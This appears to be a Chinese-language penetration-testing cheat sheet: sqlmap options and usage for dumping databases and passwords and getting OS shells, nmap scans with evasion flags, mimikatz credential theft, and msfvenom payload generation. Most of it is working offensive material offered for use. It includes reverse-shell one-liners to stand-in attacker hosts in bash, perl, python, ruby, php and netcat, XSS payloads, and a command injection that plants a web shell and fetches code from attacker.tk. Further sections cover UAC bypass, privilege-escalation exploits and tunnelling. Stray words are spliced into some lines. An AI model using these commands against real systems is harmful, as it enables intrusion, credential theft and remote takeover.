-u #注入点 -f #指纹判别数据库类型 -b #获取数据库版本信息 -p #指定可测试的参数(?page=1&id=2 -p “page,id”) -D “” #指定数据库名 -T “” #指定表名 -C “” #指定字段 -s “” #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s “xx.log” 恢复:-s “xx.log” –resume) –columns #列出字段 –current-user #获取当前用户名称 –current-db #获取当前数据库名称 –users #列数据库全部用户 –passwords #数据库用户全部密码 –privileges #查看用户权限(–privileges -U root) -U #指定数据库用户 –dbs #列出全部数据库 –tables -D “” #列出指定数据库中的表 –columns -T “user” -D “mysql” #列出mysql数据库中的user表的全部字段 –dump-all #列出全部数据库全部表 –exclude-sysdbs #只列出用户本身新建的数据库和表 –dump -T “” -D “” -C “” #列出指定数据库的表的字段的数据(–dump -T users -D master -C surname) –dump -T “” -D “” –start 2 –top 4 # 列出指定数据库的表的2-4字段的数据 –dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB) –os #指定系统(Linux,Windows) -v #详细的等级(0-6) 0:只显示Python的回溯,错误和关键消息。 1:显示信息和警告消息。 2:显示调试消息。 3:有效载荷注入。 4:显示HTTP请求。 5:显示HTTP响应头。 6:显示HTTP响应页面的内容 –privileges #查看权限 –is-dba #是不是数据库管理员 –roles #枚举数据库用户角色 –udf-inject #导入用户自定义函数(获取系统权限) –union-check #是否支持union 注入 –union-cols #union 查询表记录 –union-test #union 语句测试 –union-use #采用union 注入 –union-tech orderby #union配合order by –method “POST” –data “” #POST方式提交数据(–method “POST” –data “page=1&id=2″) –cookie “用;号分开” #cookie注入(–cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”) –referer “” #使用referer欺骗(–referer “http://www.baidu.com”) –user-agent “” #自定义user-agent –proxy “http://127.0.0.1:8118″ #代理注入 –string “” #指定关键词 –threads #采用多线程(–threads 3) –sql-shell #执行指定sql命令 –sql-query #执行指定的sql语句(–sql-query “SELECT password FROM mysql.user WHERE user = ‘root’ LIMIT 0, 1″ ) –file-read #读取指定文件 –file-write #写入本地文件(–file-write /test/test.txt –file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt) –file-dest #要写入的文件绝对路径 –os-cmd=id #执行系统命令 –os-shell #系统交互shell –os-pwn #反弹shell(–os-pwn –msf-path=/opt/framework/msf3/) –msf-path= #matesploit绝对路径(–msf-path=/opt/framework/msf3/) –os-smbrelay # –os-bof # –reg-read #读取win系统注册表 –priv-esc # –time-sec= #延迟设置 默认–time-sec=5 为5秒 -p “user-agent” –user-agent “sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)” #指定user-agent注入 –eta #盲注 /pentest/database/sqlmap/txt/ common-columns.txt 字段字典 common-outputs.txt common-tables.txt 表字典 keywords.txt oracle-default-passwords.txt user-agents.txt wordlist.txt 经常使用语句 1. ./sqlmap.py -u http://www.xxx.com/ test.php?p=2 -f -b –current-user –current-db –users –passwords –dbs -v 0 2. ./sqlmap.py -u http://www.xxx.com/ test.php?p=2 -b –passwords -U root –union-use -v 2 3. ./sqlmap.py -u http://www.xxx.com/ test.php?p=2 -b –dump -T users -C username -D userdb –start 2 –stop 3 -v 2 4. ./sqlmap.py -u http://www.xxx.com/ test.php?p=2 -b –dump -C “user,pass” -v 1 –exclude-sysdbs 5. ./sqlmap.py -u http://www.xxx.com/ test.php?p=2 -b –sql-shell -v 2 6. ./sqlmap.py -u http://www.xxx.com/ test.php?p=2 -b –file-read “c:\boot.ini” -v 2 7. ./sqlmap.py -u http://www.xxx.com/ test.php?p=2 -b –file-write /test/test.txt –file-dest /var/www/html/1.txt -v 2 8. ./sqlmap.py -u http://www.xxx.com/ test.php?p=2 -b –os-cmd “id” -v 1 9. ./sqlmap.py -u http://www.xxx.com/ test.php?p=2 -b –os-shell –union-use -v 2 10. ./sqlmap.py -u http://www.xxx.com/ test.php?p=2 -b –os-pwn –msf-path=/opt/framework/msf3 –priv-esc -v 1 11. ./sqlmap.py -u http://www.xxx.com/ test.php?p=2 -b –os-pwn –msf-path=/opt/framework/msf3 -v 1 12. ./sqlmap.py -u http://www.xxx.com/ test.php?p=2 -b –os-bof –msf-path=/opt/framework/msf3 -v 1 13. ./sqlmap.py -u http://www.xxx.com/ test.php?p=2 –reg-add –reg-key=”HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap” –reg-value=Test –reg-type=REG_SZ –reg-data=1 14. ./sqlmap.py -u http://www.xxx.com/ test.php?p=2 -b –eta 15. ./sqlmap.py -u “http://www.xxx.com/ sqlmap/mysql/get_str_brackets.php?id=1″ -p id –prefix “‘)” –suffix “AND (‘abc’='abc” 16. ./sqlmap.py -u “http://www.xxx.com/ sqlmap/mysql/basic/get_int.php?id=1″ –auth-type Basic –auth-cred “testuser:testpass” 17. ./sqlmap.py -l burp.log –scope=”(www)?\.target\.(com|net|org)” 18. ./sqlmap.py -u “http://www.xxx.com/ sqlmap/mysql/get_int.php?id=1″ –tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3 19. ./sqlmap.py -u “http://www.xxx.com/ sqlmap/mssql/get_int.php?id=1″ –sql-query “SELECT ‘foo’” -v 1 20. ./sqlmap.py -u “http://www.xxx.com/ mysql/get_int_4.php?id=1″ –common-tables -D testdb –banner 简单的注入流程 1.读取数据库版本,当前用户,当前数据库 sqlmap -u http://www.xxx.com/ test.php?p=2 -f -b –current-user –current-db -v 1 2.判断当前数据库用户权限 sqlmap -u http://www.xxx.com/ test.php?p=2 –privileges -U 用户名 -v 1 sqlmap -u http://www.xxx.com/ test.php?p=2 –is-dba -U 用户名 -v 1 3.读取全部数据库用户或指定数据库用户的密码 sqlmap -u http://www.xxx.com/ test.php?p=2 –users –passwords -v 2 sqlmap -u http://www.xxx.com/ test.php?p=2 –passwords -U root -v 2 4.获取全部数据库 sqlmap -u http://www.xxx.com/ test.php?p=2 –dbs -v 2 5.获取指定数据库中的全部表 sqlmap -u http://www.xxx.com/ test.php?p=2 –tables -D mysql -v 2 6.获取指定数据库名中指定表的字段 sqlmap -u http://www.xxx.com/ test.php?p=2 –columns -D mysql -T users -v 2 7.获取指定数据库名中指定表中指定字段的数据 sqlmap -u http://www.xxx.com/ test.php?p=2 –dump -D mysql -T users -C “username,password” -s “sqlnmapdb.log” -v 2 8.file-read读取web文件 sqlmap -u http://www.xxx.com/ test.php?p=2 –file-read “/etc/passwd” -v 2 9.file-write写入文件到web sqlmap -u http://www.xxx.com/ test.php?p=2 –file-write /localhost/mm.php –file-dest /var/www/html/xx.php -v 2
nmap扫描445端口开放的主机命令:nmap -sS -p 445 -oG - 目标IP/24
存入xml文件命令:nmap -sS -p 445 -oG - 目标IP/24 -oX nmap_info.xml,结果会输出到XML文件:nmap_info.xml。
存入nmap文件命令:nmap -sS -p 445 -oG - 目标IP/24 -oN nmap_info.nmap,结果会输出到普通文件:nmap_info.nmap。
你在哪一个目录执行了nmap的目录,它就会在哪一个目录。
对 mysql 进行空密码的扫描
> nmap -p3306 --script=mysql-empty-password.nse 192.168.100.1/24
对 mysql 弱口令暴力破解javascript
> nmap -p3306 --script=mysql-brute --script-args=userdb=user.txt,passdb=password.txt 127.0.0.1
# 适用全部大小网络最好的 nmap 扫描策略 # 主机发现,生成存活主机列表 $ nmap -sn -T4 -oG Discovery.gnmap 192.168.56.0/24 $ grep "Status: Up" Discovery.gnmap | cut -f 2 -d ' ' > LiveHosts.txt # 端口发现,发现大部分经常使用端口 # http://nmap.org/presentations/BHDC08/bhdc08-slides-fyodor.pdf $ nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txt $ nmap -sU -T4 -Pn -oN TopUDP -iL LiveHosts.txt $ nmap -sS -T4 -Pn --top-ports 3674 -oG 3674 -iL LiveHosts.txt # 端口发现,发现所有端口,但 UDP 端口的扫描会很是慢 $ nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL LiveHosts.txt $ nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL LiveHosts.txt # 显示 TCP\UDP 端口 $ grep "open" FullTCP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "T:"$0}' $ grep "open" FullUDP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "U:"$0}' # 侦测服务版本 $ nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txt # 扫作系统扫描 $ nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txt # 系统和服务检测 $ nmap -O -sV -T4 -Pn -p U:53,111,137,T:21-25,80,139,8080 -oG OS_Service_Detect -iL LiveHosts.txt
# 分段 $ nmap -f # 修改默认 MTU 大小,但必须为 8 的倍数(8,16,24,32 等等) $ nmap --mtu 24 # 生成随机数量的欺骗 $ nmap -D RND:10 [target] # 手动指定欺骗使用的 IP $ nmap -D decoy1,decoy2,decoy3 etc. # 僵尸网络扫描, 首先须要找到僵尸网络的IP $ nmap -sI [Zombie IP] [Target IP] # 指定源端口号 $ nmap --source-port 80 IP # 在每一个扫描数据包后追加随机数量的数据 $ nmap --data-length 25 IP # MAC 地址欺骗,能够生成不一样主机的 MAC 地址 $ nmap --spoof-mac Dell/Apple/3Com IP
cd /usr/share/nmap/scripts/ wget http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz && tar xzf nmap_nse_vulscan-2.0.tar.gz nmap -sS -sV --script=vulscan/vulscan.nse target nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv target nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv -p80 target nmap -PN -sS -sV --script=vulscan –script-args vulscancorrelation=1 -p80 target nmap -sV --script=vuln target nmap -PN -sS -sV --script=all –script-args vulscancorrelation=1 target
转发远程端口到目标地址
plink.exe -P 22 -l root -pw "1234" -R 445:127.0.0.1:445 IP
netsh firewall set opmode disable
获取 Windows 明文用户名密码php
git clone https://github.com/gentilkiwi/mimikatz.git privilege::debug sekurlsa::logonPasswords full
c:>nc -Lp 31337 -vv -e cmd.exe nc 192.168.0.10 31337 c:>nc example.com 80 -e cmd.exe nc -lp 80 nc -lp 31337 -e /bin/bash nc 192.168.0.10 31337 nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000
wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download wine mingw-get-setup.exe select mingw32-base cd /root/.wine/drive_c/windows wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip cd /root/.wine/drive_c/MinGW/bin wine gcc -o ability.exe /tmp/exploit.c -lwsock32 wine ability.exe
route add X.X.X.X 255.255.255.0 1 use auxiliary/server/socks4a run proxychains msfcli windows/* PAYLOAD=windows/meterpreter/reverse_tcp LHOST=IP LPORT=443 RHOST=IP E 或者 # https://www.offensive-security.com/metasploit-unleashed/pivoting/ meterpreter > ipconfig IP Address : 10.1.13.3 meterpreter > run autoroute -s 10.1.13.0/24 meterpreter > run autoroute -p 10.1.13.0 255.255.255.0 Session 1 meterpreter > Ctrl+Z msf auxiliary(tcp) > use exploit/windows/smb/psexec msf exploit(psexec) > set RHOST 10.1.13.2 msf exploit(psexec) > exploit meterpreter > ipconfig IP Address : 10.1.13.2
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> X > system.exe msfvenom -p php/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 R > exploit.php msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -a x86 --platform win -f asp -o file.asp msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e x86/shikata_ga_nai -b "\x00" -a x86 --platform win -f c
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -f elf -a x86 --platform linux -o shell
msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -b "\x00\x0a\x0d" -a x86 --platform win -f c
msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=443 -o shell.py
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp -a x86 --platform win -o shell.asp
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.sh
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.php add <?php at the beginning perl -i~ -0777pe's/^/<?php \n/' shell.php
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe -a x86 --platform win -o shell.exe
# 使用 uid 查找对应的程序 find / -uid 0 -perm -4000 # 查找哪里拥有写权限 find / -perm -o=w # 查找名称中包含点和空格的文件 find / -name " " -print find / -name ".." -print find / -name ". " -print find / -name " " -print # 查找不属于任何人的文件 find / -nouser # 查找未连接的文件 lsof +L1 # 获取进程打开端口的信息 lsof -i # 看看 ARP 表中是否有奇怪的东西 arp -a # 查看全部帐户 getent passwd # 查看全部用户组 getent group # 列举全部用户的 crontabs for user in $(getent passwd|cut -f1 -d:); do echo "### Crontabs for $user ####"; crontab -u $user -l; done # 生成随机密码 cat /dev/urandom| tr -dc ‘a-zA-Z0-9-_!@#$%^&*()_+{}|:<>?=’|fold -w 12| head -n 4 # 查找全部不可修改的文件 find . | xargs -I file lsattr -a file 2>/dev/null | grep ‘^….i’ # 使文件不可修改 chattr -i file
msfvenom -p windows/shell_bind_tcp -a x86 --platform win -b "\x00" -f c msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86 --platform win -e x86/shikata_ga_nai -b "\x00" -f c COMMONLY USED BAD CHARACTERS: \x00\x0a\x0d\x20 For http request \x00\x0a\x0d\x20\x1a\x2c\x2e\3a\x5c Ending with (0\n\r_) # 经常使用命令: pattern create pattern offset (EIP Address) pattern offset (ESP Address) add garbage upto EIP value and add (JMP ESP address) in EIP . (ESP = shellcode ) !pvefindaddr pattern_create 5000 !pvefindaddr suggest !pvefindaddr modules !pvefindaddr nosafeseh !mona config -set workingfolder C:\Mona\%p !mona config -get workingfolder !mona mod !mona bytearray -b "\x00\x0a" !mona pc 5000 !mona po EIP !mona suggest
bash -i >& /dev/tcp/X.X.X.X/443 0>&1 exec /bin/bash 0&0 2>&0 exec /bin/bash 0&0 2>&0 0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196 0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196 exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done /bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1 /bin/bash -i > /dev/tcp/X.X.X.X/443 0<&1 2>&1
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' # Win 平台 perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' # Win 平台 ruby -rsocket -e 'c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ruby -rsocket -e 'f=TCPSocket.open("attackerip","443").to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackerip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php -r '$sock=fsockopen("attackerip",443);exec("/bin/sh -i <&3 >&3 2>&3");'
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/attackerip/443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()
nc -e /bin/sh attackerip 4444 nc -e /bin/sh 192.168.37.10 443 # 若是 -e 参数被禁用,能够尝试如下命令 # mknod backpipe p && nc attackerip 443 0<backpipe | /bin/bash 1>backpipe /bin/sh | nc attackerip 443 rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4443 0/tmp/ # 若是你安装错了 netcat 的版本,请尝试如下命令 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip >/tmp/f
# 若是 netcat 不可用或者 /dev/tcp mknod backpipe p && telnet attackerip 443 0<backpipe | /bin/bash 1>backpipe
# http://baike.baidu.com/view/418628.htm # 开启 X 服务器 (:1 – 监听 TCP 端口 6001) apt-get install xnest Xnest :1 # 记得受权来自目标 IP 的链接 xterm -display 127.0.0.1:1 # 受权访问 xhost +targetip # 在目标机器上链接回咱们的 X 服务器 xterm -display attackerip:1 /usr/openwin/bin/xterm -display attackerip:1 or $ DISPLAY=attackerip:0 xterm
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet ("< iframes > src=http://IP:PORT </ iframes >") <script>document.location=http://IP:PORT</script> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//–></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> ";!–"<XSS>=&amp;{()} <IMG SRC="javascript:alert('XSS');"> <IMG SRC=javascript:alert('XSS')> <IMG """><SCRIPT>alert("XSS")</SCRIPT>""> <IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;> <IMG SRC=&amp;#0000106&amp;#0000097&amp;#0000118&amp;#0000097&amp;#0000115&amp;#0000099&amp;#0000114&amp;#0000105&amp;#0000112&amp;#0000116&amp;#0000058&amp;#0000097&amp;#0000108&amp;#0000101&amp;#0000114&amp;#0000116&amp;#0000040&amp;#0000039&amp;#0000088&amp;#0000083&amp;#0000083&amp;#0000039&amp;#0000041> <IMG SRC="jav ascript:alert('XSS');"> perl -e 'print "<IMG SRC=javascript:alert(\"XSS\")>";' > out <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")> (">< iframes http://google.com < iframes >) <BODY BACKGROUND="javascript:alert('XSS')"> <FRAMESET><FRAME SRC=”javascript:alert('XSS');"></FRAMESET> "><script >alert(document.cookie)</script> %253cscript%253ealert(document.cookie)%253c/script%253e "><s"%2b"cript>alert(document.cookie)</script> %22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)'%3E <img src=asdf onerror=alert(document.cookie)>
# 生成 shell 使用的 ssh 密钥 $ wget -O - -q "http://domain.tk/sh.php?cmd=whoami" $ wget -O - -q "http://domain.tk/sh.php?cmd=ssh-keygen -f /tmp/id_rsa -N \"\" " $ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa" # 增长用户 tempuser $ useradd -m tempuser $ mkdir /home/tempuser/.ssh && chmod 700 /home/tempuser/.ssh $ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa" > /home/tempuser/.ssh/authorized_keys $ chmod 700 /home/tempuser/.ssh/authorized_keys $ chown -R tempuser:tempuser /home/tempuser/.ssh # 反弹 ssh shell $ wget -O - -q "http://domain.tk/sh.php?cmd=ssh -i /tmp/id_rsa -o StrictHostKeyChecking=no -R 127.0.0.1:8080:192.168.20.13:8080 -N -f tempuser@<attacker_ip>"
attacker:~$ curl -i -s -k -X 'POST' --data-binary $'IP=%3Bwhoami&submit=submit' 'http://victum.tk/command.php' attacker:~$ curl -i -s -k -X 'POST' --data-binary $'IP=%3Becho+%27%3C%3Fphp+system%28%24_GET%5B%22cmd%22%5D%29%3B+%3F%3E%27+%3E+..%2Fshell.php&submit=submit' 'http://victum.tk/command.php' attacker:~$ curl http://victum.tk/shell.php?cmd=id # 在服务器上下载 shell (phpshell.php) http://victum.tk/shell.php?cmd=php%20-r%20%27file_put_contents%28%22phpshell.php%22,%20fopen%28%22http://attacker.tk/phpshell.txt%22,%20%27r%27%29%29;%27 # 运行 nc 并执行 phpshell.php attacker:~$ nc -nvlp 1337
msfvenom –p windows/shell_reverse_tcp LHOST=192.168.56.102 –f exe > danger.exe # 显示帐户配置 net user <login> # Kali 上下载 psexec https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx # 使用 powershell 脚本上传 psexec.exe 到目标机器 echo $client = New-Object System.Net.WebClient > script.ps1 echo $targetlocation = "http://192.168.56.102/PsExec.exe" >> script.ps1 echo $client.DownloadFile($targetlocation,"psexec.exe") >> script.ps1 powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script.ps1 # 使用 powershell 脚本上传 danger.exe 到目标机器 echo $client = New-Object System.Net.WebClient > script2.ps1 echo $targetlocation = "http://192.168.56.102/danger.exe" >> script2.ps1 echo $client.DownloadFile($targetlocation,"danger.exe") >> script2.ps1 powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script2.ps1 # 使用预编译的二进制文件绕过 UAC: https://github.com/hfiref0x/UACME # 使用 powershell 脚本上传 https://github.com/hfiref0x/UACME/blob/master/Compiled/Akagi64.exe 到目标机器 echo $client = New-Object System.Net.WebClient > script2.ps1 echo $targetlocation = "http://192.168.56.102/Akagi64.exe" >> script3.ps1 echo $client.DownloadFile($targetlocation,"Akagi64.exe") >> script3.ps1 powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script3.ps1 # 在 Kali 上建立监听 nc -lvp 4444 # 以系统权限使用 Akagi64 运行 danger.exe Akagi64.exe 1 C:\Users\User\Desktop\danger.exe # 在 Kali 上建立监听 nc -lvp 4444 # 下一步就会反弹给咱们一个提过权的 shell # 以系统权限使用 PsExec 运行 danger.exe psexec.exe –i –d –accepteula –s danger.exe
https://technet.microsoft.com/en-us/security/bulletin/dn602597.aspx #ms15-051 https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html https://www.exploit-db.com/exploits/37049/ # 查找目标机器是否安装了补丁,输入以下命令 wmic qfe get wmic qfe | find "3057191" # 上传编译后的利用程序并运行它 https://github.com/hfiref0x/CVE-2015-1701/raw/master/Compiled/Taihou64.exe # 默认状况下其会以系统权限执行 cmd.exe,但咱们须要改变源代码以运行咱们上传的 danger.exe # https://github.com/hfiref0x/CVE-2015-1701 下载它并定位到 "main.c" # 使用 wce.exe 获取已登陆用户的明文帐号密码 http://www.ampliasecurity.com/research/windows-credentials-editor/ wce -w # 使用 pwdump7 获取其余用户的密码哈希值 http://www.heise.de/download/pwdump.html # we can try online hash cracking tools such crackstation.net
$ nmap -v -p 139, 445 --script=smb-check-vulns --script-args=unsafe=1 192.168.31.205 $ searchsploit ms08-067 $ python /usr/share/exploitdb/platforms/windows/remote/7132.py 192.168.31.205 1
# Mysql Server version: 5.5.44-0ubuntu0.14.04.1 (Ubuntu) $ wget 0xdeadbeef.info/exploits/raptor_udf2.c $ gcc -g -c raptor_udf2.c $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc mysql -u root -p mysql> use mysql; mysql> create table foo(line blob); mysql> insert into foo values(load_file('/home/user/raptor_udf2.so')); mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so'; mysql> create function do_system returns integer soname 'raptor_udf2.so'; mysql> select * from mysql.func; mysql> select do_system('echo "root:passwd" | chpasswd > /tmp/out; chown user:user /tmp/out'); user:~$ su - Password: user:~# whoami root root:~# id uid=0(root) gid=0(root) groups=0(root)
$ wget https://github.com/jivoi/pentest/ldpreload_shell.c $ gcc -shared -fPIC ldpreload_shell.c -o ldpreload_shell.so $ sudo -u user LD_PRELOAD=/tmp/ldpreload_shell.so /usr/local/bin/somesoft
注:枚举时序攻击(“Enumeration Timing Attack”)属于侧信道攻击/旁路攻击(Side Channel Attack),侧信道攻击是指利用信道外的信息,好比加解密的速度/加解密时芯片引脚的电压/密文传输的流量和途径等进行攻击的方式,一个词形容就是“旁敲侧击”。–参考自 shotgun 在知乎上的解释。css
osueta 是一个用于对 OpenSSH 进行时序攻击的 python2 脚本,其能够利用时序攻击枚举 OpenSSH 用户名,并在必定条件下能够对 OpenSSH 服务器进行 DOS 攻击。html
# https://github.com/c0r3dump3d/osueta $ ./osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v yes $ ./osueta.py -H 192.168.10.22 -p 22 -d 15 -v yes –dos no -L userfile.txt
注: ReDuh 是一个经过 HTTP 协议创建隧道传输各类其余数据的工具。其能够把内网服务器的端口经过 http/https 隧道转发到本机,造成一个连通回路。用于目标服务器在内网或作了端口策略的状况下链接目标服务器内部开放端口。java
对了亲~ReDuh-Gui 号称端口转发神器哦。python
# https://github.com/sensepost/reDuh # 步骤 1 # 上传 reDuh.jsp 目标服务器 $ http://192.168.10.50/uploads/reDuh.jsp # 步骤 2 # 在本机运行 reDuhClient $ java -jar reDuhClient.jar http://192.168.10.50/uploads/reDuh.jsp # 步骤 3 # 使用 nc 链接管理端口 $ nc -nvv 127.0.0.1 1010 # 步骤 4 # 使用隧道转发本地端口到远程目标端口 [createTunnel] 7777:172.16.0.4:3389 # 步骤 5 # 使用 RDP 链接远程 $ /usr/bin/rdesktop -g 1024x768 -P -z -x l -k en-us -r sound:off localhost:7777
注:更多请看freebuf(http://www.freebuf.com/sectool/105524.html)